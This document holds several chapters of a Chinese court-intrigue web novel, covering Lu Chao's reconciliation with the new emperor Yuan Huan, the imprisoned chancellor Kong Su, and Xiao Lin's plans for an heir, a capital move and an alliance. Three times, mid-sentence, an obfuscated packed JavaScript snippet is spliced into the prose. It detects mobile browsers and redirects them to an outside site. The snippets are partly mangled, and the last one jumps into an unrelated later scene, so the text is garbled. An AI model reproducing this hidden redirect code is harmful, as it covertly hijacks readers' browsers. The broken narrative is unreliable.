看到陆晁这副样子,元焕放弃了和他相互试探,他松开了抓着陆晁的手。 “我这次来是想亲口给您说声对不起,代表父亲,也代表元煜,栖川的将来我会负责到底,您即日起可以选择继续做昌安营的将军,也可以选择告老还乡。” “谢陛下。” 陆晁说着就要跪下领旨,这次元焕没有拦他,陆晁的膝盖落在地上的时候发出一声闷响,陆栖野瞥不过头不敢看他,只听陆晁道:“臣随先帝征战三十年,一同将北梁疆域延伸至泯海,若无先帝,无臣之今日。” 陆晁眉眼低垂,可腰身依旧高挺,“先帝待臣亲如兄弟,高官厚禄我无所不有,人这一辈子能遇到体己之人已是难得,况先帝与臣身份悬殊,臣对先帝只有对天子的恭敬和对兄长的爱戴。” 陆晁顿了顿,嘴角溢出一抹苦笑,“我本就不是个杀伐决断之人,若没有军户身份的半推半就我走不到今天。先帝在最后时刻选择弃我,我明白这是他对我最后的恩赐了。至此,我与先帝的情谊只剩君臣,再无其他。” “之后种种先帝预料到了多少,又有多少在他的意料之外,我都不关心。我在牢里住了四个月让我想清楚了一些事情,”陆晁抬起头看着陆栖野,“仗的确是打不完,因为人是杀不完的。可解决暴力最好的方式就是以暴制暴,我知道这很可笑,但是它最有用。” “只有一个人彻底掌握话语权,他才有可以选择的机会,在这之前,我们都是随时可以被替换的棋子。” 陆晁说着,又将目光对准了元焕。 “那么如今的北梁,是什么态度?” 元焕没有立刻回应,陆晁看得出他的犹豫,失笑道:“你果真和你父亲一样。不过没关系,你还有时间,你能做到你想做的一切。” 说罢陆晁站起身,他拍了拍衣袍上的尘土,目光灼灼地盯着元焕。 “只是无论你要做什么选择,一定要记得别走你父亲的老路。皇位是一个人的,可天下不是,没有哪个独裁者可以高枕无忧,人和人不只有利用,有些东西是底线,不能丢。” 比如信任,比如诚信。 元焕听得懂陆晁话里的意思,他也明白陆晁对元衡所做的一切应该都是知道的,也是陆晁默许了元衡对他做的一切,只是唯独在陆栖野驰援陈京观这件事,元衡没敢把真话告诉陆晁,这也是陆晁彻底失望的原因。 陆晁在听到陈京观死讯的那些日子夜不能寐,随之而来的就是后怕,他知道陆栖野也差点在这场仗里送了命。 这是陆晁第一次责怪元衡,甚至是恨,他不怪元衡永无止尽的野心,他怪的是元衡为什么要用这样的手段,这让他打了三十多年的仗成了一场笑话。 后来陆栖野递了消息进来,他告诉陆晁陈京观还活着,但是这世上没有几个人知道。 陆晁那时候在想什么他已经不记得了,他只求能快些出去,他觉得在这监牢里逃避的日子让他度日如年。 可元衡没有见陆晁,即使陆晁在他的书房门口站了一夜,到最后他也只领回去了一张驻守平州的圣旨,而且责令他无召不可离开。 陆晁接住那圣旨的时候他真想大笑一场,他甚至还记得元衡把他召进宫的时候亲切地叫他潼辉,他说他们都是父亲。 或许最开始元衡所做的的确是为了陆林两家好,元衡也真的不想让陆林两家牵扯进来,可这一切随着事态发展就变了味道,陆林两家成了名副其实被削官罢权的弃子,元衡用为他们好的理由请走了这北梁朝堂上为数不多会和他争辩是非的人。 陆晁已经不想再去深究元衡的话里有几分真几分假,他现在再回忆起元衡,只有那个和他一起打下都定口的衡殿下。 “我明白了。” 元焕朝陆晁微微鞠躬,“待我回去葬了父亲,行了即位大典,我会着手和南魏联盟的事情。” 听着元焕的话,陆栖野刚想说什么,瞧见陆晁给他试了个眼色,他硬是把嘴里的话憋了回去。 “那栖野你再陪陆将军多待几天,澄州只有母亲一个人,我要先回去。禹州马场的事情由你全权负责,至于昌安营……” “还是交给哥哥吧。”陆栖野顿了顿,“他会好的,他不会甘心就这样变成一个废人。” 陆晁的拳头在所有人都没有注意的瞬间握紧,他咬紧牙关压抑着心里的情绪,等元焕要走时开口道:“陛下,我现在能回家了吗?能离开平州了吗?” 元焕的背影止住,只瞧他点点头,“澄州的门随时向您敞开,御书房也是。” 元焕走后,陆家的院子变得更空,他二人到时已临近傍晚,此时隔壁府院传来饭菜的香味,陆晁目送着元焕离开,然后笑着搂住了陆栖野的脖颈。 “好小子,看上去更结实了。” 陆栖野笑着应道:“还是实战更能锻炼人,从前在军营里学的都用上了。” 说到这陆栖野笑容一滞,“可惜还是输了。” 陆晁侧过头看着陆栖野,伸手捏了捏他的胳膊,“人还在一切都还在。” “可是董叔没了,桑大哥也没了,平远军那些人的名字是我一个个写下来报给户籍所的,都没了。” 陆栖野的肩膀慢慢沉了下去,可陆晁用手托住了他。 “董辉这辈子活得太苦了,可上次我见他的时候,他笑着说跟着陈京观的日子和跟着我的时候不一样,他说陈京观不是在带着他们杀人,而是在带着他们救人。他说同样都是满手鲜血,可这次是活生生的人被他们救了起来,他觉得待在陈京观身边让他心安。” 陆晁推开了厨房的门,陆栖野帮着他系围裙,双手环过陆晁的腰时才发现父亲只剩下薄薄一层皮肉。 “至于小柘,”陆晁叹了口气,“他没办法啊,他头上顶着陆家的命,他要是杀了元煜就等于陆家杀了皇子,他只能选择用他的命去向你证明他没有叛变。” 陆晁点起了柴火,不知道是不是烟熏的,陆栖野看到他眼中波光粼粼。 “桑诠安就是那样死在我面前的,我知道你的感受,更何况桑柘是从小陪着你长大的,他和你在一起的时间比任何人都长。桑柘话少,性子慢,为人谨慎,唯独在你的事情上他从不犹豫。可能这就是命吧。” 说完,陆晁走过去从腌菜缸里挑出来一颗酸菜,他转身问陆栖野,“就吃酸菜肉丝面吧,我一个人在家没买太多东西,过几日回了澄州我带你去吃烤全羊。” 陆晁笑着,陆栖野点了点头,他接过了陆晁递过来的刀,站在案板前切菜。 “对了,方才陛下说他要和南魏联盟,您觉得此事靠谱吗?没了陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15175773|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 京观的南魏,还有多少人能信?” “所以你刚才想把陈京观还活着的消息告诉元焕?” 陆晁在一旁和面,他侧过头看陆栖野的时候手上的动作依旧没有停。 “我只是觉得和西芥合作会更好,哪怕没有陈京观这也是更好的选择。” 陆晁笑着摇头,“如果没有陈京观,你会怎么看待西芥人?” 陆栖野手上的动作顿了顿,他明白了陆晁的意思。 “蛮夷。” 陆晁轻笑一声,“对啊,北梁当初可是从这群蛮夷手里抢了一半的土地,若没有陈京观的帮忙,当初宛达不可能善罢甘休。比起南魏,北梁和西芥才是世仇。” 陆晁长叹了一口气,“小野,人不能只看到此时此刻。不可否认有陈京观在的西芥应当是这天下最值得信任的盟友,可他不是西芥的王,西芥有自己的别吉。沁格能带着西芥女子从没有姓名到撑起半边天,只是她你就不可以轻视。沁格能帮陈京观是出于过去的恩,可她也有自己作为帝王的野心。” 陆栖野抿了抿嘴没有说话,陆晁笑着看他,继续道:“不过有了陈京观在,他们做不出出格的事情。或许我们和他们的确能统一战线,但这话不能由我们开口,也不能在此刻开口。” “我明白了,不过父亲你该还有另一层意思。” 陆栖野脸上闪过一丝狡黠,“你还是不能彻底信任元焕是吗?因为他和先帝太像了?” 陆晁没有回答,他像是思考着陆栖野的问题。他下意识拦住了陆栖野,这其中的确有他对陈京观的保护,他怕元焕赶尽杀绝,虽然他觉得他看着长大的孩子不会是这样的人。 可元衡也是和他在一起风风雨雨三十年的人,他依旧没有看透他。 “帝王之心不可测,是不能测,也是无法测。我只希望他明白自己真的想要什么,不要受到他父亲的影响,也不要让你们重蹈我们的覆辙。” “不会的,姑姑不会再让元焕变成先帝了。” 陆晁笑着没说话,过了片刻他把手里的面团成一圈压在一个碗下面,自己又跑到炉子边去看火,他看似不经意地问:“栖川,还好吗?” 陆栖野端着切好的菜走过去,“不好,哥哥就没受过那么重的伤。平日里真看不出元煜是这么狠的人。” 陆晁无奈地摇头,“他爹就狠,儿子又能差多少?就是苦了你嫂子,新婚没多久你哥就去了重山,几番周折后被抬回了家。” “可嫂子这么多天从来没哭过,母亲都忍不住掉了几次泪,嫂子每日就守在哥哥身边,槿栖堂的事情她交给含晚去打理了。” “含晚,”陆晁抿了抿嘴,“她是不是恨死离鸿了?” “也就听到含章被接走的时候她动了气,平日里再也没听她提过二哥,” 陆栖野意识到自己顺嘴叫了一句“二哥”,怔怔发笑。 “含章还是没找到?” 陆晁的问题顺着陆栖野的话一个接一个,他们父子俩小半年都是书信往来,其实这些话陆栖野都同陆晁讲过了,可陆晁就是想听他亲口说一遍,他想听听陆栖野的声音。 “嗯,我加派人手去寻了,没有消息就是好消息。” 陆晁点了点头,停顿片刻后望着陆栖野笑了。 “小野,你确实长大了,这些日子辛苦了。” 陆栖野盯着火光没敢看陆晁,他怕自己看自己父亲的眼睛就想哭。 “我也该长大了。” 陆晁笑了笑没做声,他起身去把切好的面下进锅里,沸腾的水慢慢被面粉搅得浑浊,陆晁的筷子在面汤里翻转,他察觉到陆栖野欲言又止,率先开口道:“你想去西芥?” 陆栖野顿了顿,“果然什么都瞒不了您。” 陆晁拿过旁边的碗舀了一勺汤,尝了尝咸淡后加了一点盐。 “明日就去吧,早就早回,五日后我和你一同会澄州,元焕不会起疑的。”陆晁话音一滞,“若是他派人跟你,倒也能让我们彻底死了对元家的心。咱们一家无官无职的就能彻底放宽心在家过日子了,你母亲早就想让我吃软饭了。” 陆栖野笑着应了声“好”,碗里的热气蒸湿了他的睫毛,他已经很久没有吃过陆晁做的饭了。 “父亲,您做的面真好吃。” “以后常回家来,我给你做。” 118.伯玉知非(八) 七日后,北梁新帝元焕即位,其亲扶先帝灵柩往陵寝安葬,步百里而不停歇。 澄州城内一片秋日肃杀之气,北梁朝堂无人敢妄言元衡之死,依稀有人提到元煜,也多是欲言又止,书房里坐着的陆韶怜让那些人都闭了嘴。 待先帝丧仪毕,元焕连下三封圣旨。 一则夺元煜皇姓,将其贬为庶人,无召不可入澄州,其子不得为官,亦不可参军入伍。 二则丞相孔肃,通敌卖国,结党营私,败坏朝纲,意图谋反,敕令十五日后于菜市口刑场斩立决。 三则复陆栖川昌安营统领之位,其伤愈前由大将军陆晁暂代营中管理,陆家次子陆栖野任昌安副将,协领禹州马场。 短短三封诏书,搅得北梁朝廷暗流涌动。从前跟着孔肃的人诧异于元焕如何能这么干脆得杖杀孔肃,在当今局势如此变动的情态下,孔肃算得上北梁不可多得的人才。 元焕没有将孔肃与江阮的关系公之于众,他只与几个信得过的大臣意会了几句,他不想让人觉得连北梁朝廷都已经被江阮渗进来了,他觉得这只会徒增江阮的士气,扰得北梁风声鹤唳。 不过元焕在孔肃临死前一天去牢房看了他,见面的时候孔肃窝在墙角,整个人看上去像是牢房里待久了的老鼠,他听到衙役通传了一声“皇上到”,抬头时看见的却是元焕。 “父亲死了,你应该也知道了,不用这么惊讶。你不会觉得江阮真的能帮元煜夺了我的位置吧。” 元焕面无表情地看着孔肃,孔肃将自己脸上沾了血污的头发别在耳后,他整了整仪容从从角落走过来,恭恭敬敬朝元焕行礼。 “参见陛下,吾皇万岁万岁万万岁。” 元焕没有应声,孔肃也没有起身,他躬着腰作出臣服的样子,元焕能看到他身下的草垫在颤抖,他遮住孔肃头顶的阳光,将他整个人笼在一片黑暗中。 “明日就要上刑场了,没什么要同我说的?” 孔肃轻笑一声,缓缓直起腰,他身上的血口子新伤叠旧伤,已经有些发黑。 元焕仰着头没有看他,只听到他说:“蚍蜉撼树,螳臂当车。或许是突然被抬到了丞相的位置,我变得不自量力,竟然试图和杀了我全家的元衡博弈。” “人真可笑啊,要死的时候想活着,活着的时候却觉得生不如死。索性一切都结束了,我多活了这十几年也算是赚了。” 元焕微微低下头看着伏在自己脚边的孔肃,他突然觉得唏嘘不已。 一个从小就不被重视的旁系皇族,孔肃一天都没有享受到来自东亭王室的荣耀,他这辈子唯一被人记起来竟是因为元衡下令诛杀所有东亭皇族,士兵从那族谱的角落看到了他的名字。 论才学孔肃的确比不上林均许,可正是因为他认得清自己的不足,他的姿态就更谦卑,即使是他最后成了丞相,孔肃也一如往常般低调。 如果孔肃当真生出来就是江阮给他捏造的这个身世,或许元焕即位后他真能和林均许比一比高低。 “可惜了。” 元焕叹了一口气,可他刚要转身却被人拉住了衣袖,他回头看时,孔肃脸上泥泞一片。 “处死我的证据是江阮给的吗?” 元焕没有回答,孔肃却也得到了答案,他苦笑着继续道:“我果然始终都是他可有可无的刀,没有我他也可以杀人。倒是我,全倚仗着他才得以生存。” “你比他年长,怎么会这么听他的话?论身份家世你都不逊于他。” “家世?”孔肃若有所思,“看来你们还是对他一无所知。也对,弄死我不用他费多少力气。” 元焕听出了孔肃语气中的隐瞒,他微微皱眉朝孔肃走过去。 “你还知道什么?” 孔肃笑了笑,“怎么,明日就要死的人,我难不成还能戴罪立功?” 元焕没说话,孔肃脸上笑意更浓,“我一人吃饱全家不饿,陛下你甚至都找不到个能威胁我的理由是吗?” 元焕望着孔肃的眼神愈加复杂,倒是孔肃释然了,他松开了元焕的衣角,又回到了自己先前待着的角落。 “回去吧,这大牢阴气重,您刚登基不适合来这的。”孔肃看着元焕,元焕竟从他眼睛里看出一丝欣慰,“说句心里话,我也支持您做皇帝,论天资和魄力您比煜殿下是要强些。可先帝给您选好了辅臣,只要有陆林两家在我永无出头之日。” “我掂量得清楚自己几斤几两,也明白我始终都不可能离了江阮的掌握,可我也是个人,总还是想靠自己做些事情。人活一辈子,总不能到了下面都不知道自己这辈子在活什么吧。” 孔肃斜靠在墙边,他垂在胸前的头发已经被污垢朽成一片,元焕甚至能看到他发丝间攒动的黑影。 “您也不要试图从我嘴里得到有关江阮的任何消息,即使他最后卖了我,我也无怨无悔。他为我做得够多了,我能还他的却少之又少。我知道你们都觉得江阮眼中只有对人的利用,可你们仔细想想,江阮哪一次求着别人了?反倒是有所图的人踏破了他的门槛。如果那些人没有欲壑难填的贪心和被仇恨蒙住的双眼,江阮又怎么可能拿捏得了他们?” “人啊,”孔肃的声音变得有些颤抖,“总是会给自己创造出一个假想的敌人,仿佛只有这样才能安放他的失败。可江阮当真如你们心中所想吗,那为何人人对他趋之若鹜?元焕,我对北梁有感情了,可我依旧不希望江阮输,我真希望看到他想要的那个世界成真的一天。” 孔肃说罢就转过身去,元焕本要继续追问,可瞧见他已经是一副欣然赴死的样子,也就省下了这徒劳无功的力气。 可孔肃的话他忘不掉了,尤其是那句“江阮当真如你们心中所想吗”,那日之后元焕每次夜晚睡不着就会反复咀嚼其中意味,毫无疑问孔肃问住他了。 江阮是什么样子的,这世上只有他自己最清楚。 元焕觉得这场仗还要打很久,无论他参不参与都已经身在其中了。 另一边,北梁改朝换代的消息不胫而走,萧霖的书房门被甄符止推开,萧霖瞧见他身后跟着莫汝安,眼前二人神色凝重,甄符止手上还拿着军队的军报。 “皇上,北梁换了天子,那北梁的态度就愈发不可测,您要早做打算了。” 甄符止将手上的东西摊在萧霖面前,萧霖瞥了一眼没有说话。 “廊州一役闹得人心惶惶,上次崇州是主将易帜,我们尚且能把一切推到贺福愿身上,可这次呢?史家父子高悬城门小半个月,江阮就是在示威,他在向我们证明只要他想他也可以靠武力打下一座城。” 而现如今的南魏只靠临时募集起来的士兵撑不了多久,正面对抗只是徒增伤亡,更何况萧霖选不出能打仗的将领。 崔擎舟是眼下最合适的人选,可他的态度暧昧不清,萧霖不会轻易将好不容易得到的兵马送给崇宁。 萧霖望着纸上各大营的报告,他没想到有朝一日真的有人要打进阙州城了。 “那甄大人是何意?” 甄符止没有说话,他和莫汝安对视了一眼,两个人默默点头应下了彼此的心意。 “立储,迁都,结盟。” 有关立储的风声在元焕登基后就如同春日复苏的蝇虫般叫嚷不断,萧霖心里也有了人选,这件事说难不难,可说简单,崇宁恐怕还要从中作梗。 而迁都一事事关重大,南魏自建国以来守着阙州未离半步,这是老祖宗选的地方,北边是山南边是海,东西两边也都有大片土地做抵挡,更主要的是萧霖在阙州设了官令,如今却让别人捅穿了心肺,直捣黄龙,这无疑是对他所作所为的真面抨击,此举不到万不得已不可用。 至于结盟,元衡的死的确是一个契机,那老家伙在的时候萧霖从未动过和他联盟的心思,他对元衡的意图再清楚不过,元衡巴不得江阮吞了南魏,自己享渔翁之利。 如今元焕即位,萧霖对这个初来乍到的小皇帝也有所耳闻。他虽然有个强势的母亲,可陆韶怜并没有霸权当政的心思,而元焕从小就是照着接班人的样子培养的,他像是标准的皇帝模样。 那这样一个人是如何看待他的父亲的?萧霖还有些拿不准,他怕自己主动递出橄榄枝后反被解读成南魏式微,行将就木。虽说事实也差不离了,可萧霖还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15180506|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想撑一撑。 他如今心里的愧疚一浪接着一浪,陈京观像是一个导火索,他的死点燃了萧霖的反叛和压抑许久的沉默,陈京观的身上叠了许多人影,慢慢盖过了崇宁在萧霖心中的底色。 “立储之事从急,还要劳烦甄大人今日回去多走动,明日早朝若能收到联名上书,我定力排众议将祺桓推上太子之位。” 甄符止躬腰领命,莫汝安瞧了萧霖一眼,犹豫着开口:“您如今圣旨一下便成定局,这无可厚非,可竟靠圣旨断不了长公主的念想,您可想过她会如何?” 萧霖摇头应道:“不过就是再勾结些大臣一份奏疏一份奏疏的报请,扰得朝堂不安,亦或者直接将我逼到书房里发难,我都无所谓了,她总不能弑君吧。” 瞧见萧霖这副样子,莫汝安只得哑声,萧霖继续宽慰道:“莫大人放宽心,我这个姐姐是有些手段,但还不至于到无所顾忌的地步,至少此时一致对外没问题。只是估计之后的日子她会变本加厉找我们的麻烦,也会费尽心思再拼一把,您怕吗?” 莫汝安顿了顿,缓缓摇头,萧霖轻笑一声没有再应他,他转过头看着甄符止。 “至于迁都和结盟,这两件事兹事体大,明日早朝上再议。不过甄大人可有更好的选择,我们要迁去哪里?” “盛州,”甄符止不假思索,“盛州地处广梁中南部,参州和槐州的军队可以及时接应,而且有运河做天然屏障,我们只要守住水路江阮就打不进来,这可以给我们一个喘息的机会。” “喘息的机会,”萧霖重复一遍甄符止的话,“江阮还真是年轻气盛,遥想当年元衡出兵东亭的时候也花了两年多呢,江阮的动作势如破竹,倒像是要一举将我们拿下,他很有把握啊。” 甄符止点头应道:“您也发现这其中蹊跷了?我总觉得江阮这仗打的不像是奔着南魏的土地和皇位来的,他像是为了打仗而打仗,他不在乎输赢,他就是不能闲下来。” 萧霖不禁失笑,无奈地回了一句“是啊”。 其实早在江阮拿下的崇州的时候萧霖就有所怀疑,江阮的手段不像是为了攻城略地,反倒像是在示威,在挑衅。 可不过二十的毛头小子有多大的仇怨要与天下为敌? 萧霖扶额长叹一声道:“不管他出于什么原因,他这盘棋一定预谋了很久,这次北梁内部出现叛军倒是给我提了个醒,他的手会不会也伸到了南魏?” 甄符止没说话,他侧过身朝莫汝安点头,莫汝安领会了他的意思,上前一步道:“既然陛下提了,那臣就将心中隐疑一吐为快。陛下可有觉得江阮对少将军的行踪一清二楚?” 萧霖没说话,示意莫汝安继续。 “少将军的队伍都是昌安营退下来的老兵,量说兵力完全可以与江阮一抗,纵使有元煜反水和长公主从中作梗,可少将军也不是个愣头青,他势必是有了把握才出击的。可他的每一步都能被江阮猜到,他的所有部署江阮都能对症下药,这不合理。” 甄符止在一旁听着,思忖片刻应和道:“况且当时陛下派兵的旨意是直接通过通政司传出去的,关大人亲自送出宫门的,为何最后还会到了长公主手里?” 莫汝安和甄符止的问题萧霖这些日子没有一刻不在思考,陈京观的死太蹊跷了,可这场仗站在江阮的视角却完美得没有一丝缺憾,这整件事就像是针对陈京观的围剿。 一场蓄谋已久的狩猎。 “你们觉得关策有问题吗?还是说崇宁?” 眼前的二人都止住声音,萧霖知道他们心里各有各的盘算,却都不敢说出口。萧霖也没有难为他们,自顾自地说:“关策算是陈京观亲自提拔上来的,他没有坑害陈京观的立场。至于崇宁……” 萧霖的话没有说完,他摆了摆手遣退了二人。 崇宁身上的疑点太大了,萧霖想亲口问一问。 那一夜阙州城灯火通明,长灯从崇明殿一直点到城门口,天子脚下住惯了的人总是更敏锐些,上至六部尚书,下至商行掌柜,立储和迁都的消息一经放出扰得鸡犬不宁。 不过这正是萧霖想要的,他要等崇宁明日来找他。 119.伯玉知非(九) “众大臣进殿!” 第二日卯时,崇明殿殿外文武群臣列队等着上朝,内侍一嗓子叫醒了这些彻夜未眠的人。甄符止站在文官首位顿了顿身,他看到旁边的崔擎舟一直在小心翼翼打量着他。 “崔大人有事?” 甄符止压低声音问,脚下的步子一步不敢停。 “甄大人可听说了,今日皇上要立储?” 甄符止笑道:“妄议储君,我甄某还没有那么大胆。怎么,崔大人有高见?” 崔擎舟忙摆手道:“哪里,不过是一同听到皇上还有联盟的意思,我觉得这个储君不好做,怕是屁股都沾到凳子上就得提着脑袋出使了。我朝上一个出去的皇子可没回来。” 崔擎舟最后这句话刻意留给了甄符止思考的时间,他说完朝着崔擎舟微微颔首,退回了自己的位置,甄符止却被他这句话分了神。 昨日萧霖说自己对储君已有人选,那这储君到底是真的储君还是替萧霖去北梁走一趟的使君,甄符止现在说不准了。 甄符止突然对萧霖提到联盟时的反应回过味来,可随即而来的是心底漫上起来的悲哀。 萧霖从来没变过,他始终都是自私的。 “有事启奏,无事退朝。” 内侍说着将大殿的门“嘭”地一声关紧,殿上的人也都意识到了坐在高处的萧霖今日恐怕不会善罢甘休,群臣面面相觑,最后莫汝安穿过人群走到殿中。 “臣诚惶诚恐,稽首再拜,伏惟陛下垂听。夫国本未定,则九鼎悬于秋毫;神器无托,则万姓危若朝露。昔周公吐哺,定成王于襁褓;汉景决断,启武帝之雄图。今四海宴然,而东宫虚位,犹龙渊空悬,恐生窥伺之念。臣闻唐宗立储,置箭三枝以诫子;宋祖传位,执手三嘱而托天。圣朝基业煌煌,岂可效始皇沙丘之憾?愿陛下效法尧舜,早定元良,使金瓯永固,宗庙有依。臣虽万死,不敢不言。” 莫汝安这话一出,众人像是煮沸的高汤,起伏不断的议论声不断冲击萧霖的耳朵,他轻咳一声,缓声道:“莫大人是觉得我老了?” “臣不敢!” 莫汝安跪在地上重重叩首,今日这番话本来该甄符止说的,可莫汝安看了他好久也没见他有要行动的意思。他不知道崔擎舟方才和甄符止说了些什么,他只觉得甄符止现在动了别的心思。 “立储之事我思虑良久,储君亦乃国本之根,我年岁已高是当选贤为储,”萧霖说着,突然话锋一转,“可我膝下子嗣稀薄,论德行才学大皇子和四皇子难分高低,这储君人选实难抉择。” 萧霖话里话外都等着朝堂上两方人马激烈辩驳一番,莫汝安看得出他的心意,萧祺桓在萧霖心中是储君的不二人选,他此时这番作为不过是为了诈一诈崇宁手下的人。 果不其然,几个游离在崇宁阵营外的大臣开始暗示萧祺枫是嫡子,周原任更是为南魏操劳半生,萧霖笑着没有应,只等着甄符止开口。 可整个早朝甄符止一言不发,就连他身后站着的周原任都亲自上场给自己的孙儿好好鼓吹了一番,完全没有在意自己这个身份应当避嫌。 萧霖看甄符止的眼神慢慢从柔和变得警惕,直到内侍宣了退朝,萧霖留了甄符止去书房议事。 “甄大人,”萧霖语气里的不满不加掩饰,他转过身示意内侍关门出去,他盯着甄符止看了许久,继续道,“今日莫大人堂上所言,该是你要说的吧。” “是。” 甄符止的回答干净利落,萧霖微微皱眉又朝他走了一步。 “那是什么让甄大人惜字如金?” 甄符止偏着头没有理会萧霖审视的目光,他后退一步跪在地上。 “臣斗胆问一句,皇上您在这个节骨眼要立储,为的究竟是国本,还是再选一个人去敌国为质?” 甄符止话音刚落,他用余光瞥见萧霖的身子颤了颤,萧霖没有立刻回他,而像是陷入了深远的回忆,微微张着嘴却说不出话。 “立储之后紧接着就要着手联盟之事,那储君当是出使的最好人选,只是在陛下眼中他到底是人质还是使君?” “这会改变你心目中的人选吗?” 萧霖反问道,甄符止下意识紧了紧眉头,“不会,大皇子人品贵重,德才兼备,贵妃娘娘淑德贤良,毫无沾染朝事之企图,大皇子就是最好的人选。” “那你是不忍心了?” 甄符止摇头,“也不是,他是您的儿子,要心疼也该是您心疼。我只是想,这一次还有没有下一个陈频敢陪殿下出使了?” 甄符止的话让整个书房陷入空前的沉默,萧霖觉得自己脚下没了根,脑袋里的眩晕感要将他推倒在地,他伸手扶住了桌子,探着身子看眼前的人。 “你觉得我还会用儿子,用忠臣的命来为自己的怯懦买单?你觉得我如今的所作所为还是因为屈服于崇宁,要遵循她的意志替四皇子扫清障碍?如果是这样的话,甄符止,你有没有为自己的选择不甘心?” 萧霖看着甄符止,瞧见他脊背绷得笔直,他这番话彻底点破了甄符止的猜疑,他知道甄符止没有回答是因为他已经在后悔了。 可萧霖也已经不在乎旁人如何看他了,他明白无论他今日做出什么决定,百年之后的史书都只会给他一个明褒暗贬的谥号。 他这些年的荒谬行事,他没有可以辩驳的空间。 “我和你一样,看中的是大皇子的品行,更是贵妃的家世。相比起周家,薛家的势力来做储君的依仗不多不少。” 萧霖抿了抿嘴,脸色慢慢沉了下去,“我无法为之前的荒唐找一个合适的借口,那一桩桩一件件的确出自我手,可我如今想要做的同你一样,我不会放任南魏在我手中颠覆,也不会放任崇宁侵蚀南魏朝堂,更不会让萧祺桓重蹈覆辙。” “就因为陈京观?他到底是谁?” 萧霖望着甄符止的眼神起了兴趣,他看着眼前的人反问道:“你竟然不知道?那你为什么会帮他?” 萧霖的话从侧面应证了甄符止的假设,他听到萧霖继续说:“陈京观,就是陈频之子陈景豫。” “其他人都知道?” 萧霖没有反驳,只是缓缓开口:“莫汝安之所以能受了我的邀请,就是因为他知道了陈京观和温书让的关系,至于关策,我不知道陈京观与他说了多少。陈京观的身世,像一个人尽皆知的秘密。” “所以崇宁才非要致他于死地?她在陈京观身上看到了陈频的影子,您也是。” 萧霖眉眼微微颤动,像是被人说中了心事。 “在他身上我看到了太多人的影子,我不杀伯仁,伯仁却因我而死。我身上已经背了很多条命了。在陈京观出现之前我以为我接受了,可他的出现让我觉得是老天给我的最后一个机会,我是不想做皇帝,可既然我坐上来了,无论如何都得像个皇帝的样子。” “国之朝纲,在民在君,南魏纵有百年基业,可想要毁掉它只需要付之一炬。那把火烧掉了丛选,烧掉了陈频,烧掉了苏晋,烧掉了千千万万信任我的人,我不该用他们来偿还我对崇宁的亏欠。崇宁可以拿走我的命,却不能拿走他们的。” 说到这,萧霖苦笑着摇摇头,他走上去扶起了甄符止,用手拍了拍他的肩膀。 “我很感激南魏还有甄大人这样的人,请甄大人再信我一次,也请甄大人在我宾西后帮桓儿收拾好这个烂摊子。” 萧霖的手停在甄符止的肩膀上,甄符止今日第一次抬头直视萧霖的眼睛,他看到萧霖朝着他笑,对他微微点头。 “那请陛下下旨吧,我随殿下去一趟北梁。” 萧霖缓缓摇头,“我另有一人选,甄大人听听?” 萧霖笑着把自己的手收了回去,甄符止微微皱眉等他的答案。 “如果要想让桓儿的位置坐得稳,随行的大臣就选薛磐。” 萧霖的话惹得甄符止一机灵,他抬眼望去,萧霖点头应下了他心中的猜测。 “十年前,陈频作为栩儿的依仗和他生死相依,这是崇宁想出来的制衡手段。这一次薛磐陪桓儿一同去,不仅可以让崇宁意识到如果她坚持要立老四,那么周原任就得陪着去北梁,而且还可以让她放松警惕,让她觉得桓儿赢面不大了,这样一来借着储君的名号我们可以把军队交给桓儿。” 萧霖顿了顿,“这是我能想到的最周密的计划了,如今我对甄大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“外祖父请起,”萧祺桓应下了薛磐的拜见,“依父亲的意思我们三日内就得出发,最好在年前能到北梁,我着人再去清点一番,你与母亲先聊,晚饭时您再与我说说话。” 萧祺桓说话时握着薛磐的手,薛磐只觉得这一切不真实,他梦里梦到过好多次这样的场面,一家人其乐融融坐在一起说笑,儿孙绕膝,桃李天下。 只可惜这终究是薛磐的梦,当不得真。 萧祺桓离开后,屋里子的下人都让薛雯昭指使了出去,她指了指自己对面的凳子,薛磐点了点头坐了过去。 “都还好吧,如今世道不太平,我听着要迁都,皇上可安排好你的住处了?” 薛磐故作轻松地闲聊着,可坐在他面前勉强比他高出一些的薛雯昭定定地看着他,薛磐不敢回视,只得不自觉攥紧了自己手。 不知道过了多久,外面的下人说了一句“下雪了”,薛雯昭转头去看,薛磐盯着她的侧脸久久不能回神。 “母亲死的时候就是这样的雪夜,槐州路远,我硬是没见到她最后一面。” 薛雯昭的声音像窗外的雪花一样融在薛磐心上,薛磐抿了抿嘴犹豫着开口:“我们年岁大了,总是要走的,她没受罪,我让她在下头等着我。” 薛雯昭“嗯”了一声,依旧盯着落满枝头的白雪。 “您去槐州赴任的时候,也是大雪天,”薛雯昭说罢转过身,“你觉得西边冬寒,硬是让母亲陪着我在阙州过完了最后一个年,您自己先去的槐州置办好了一切。” 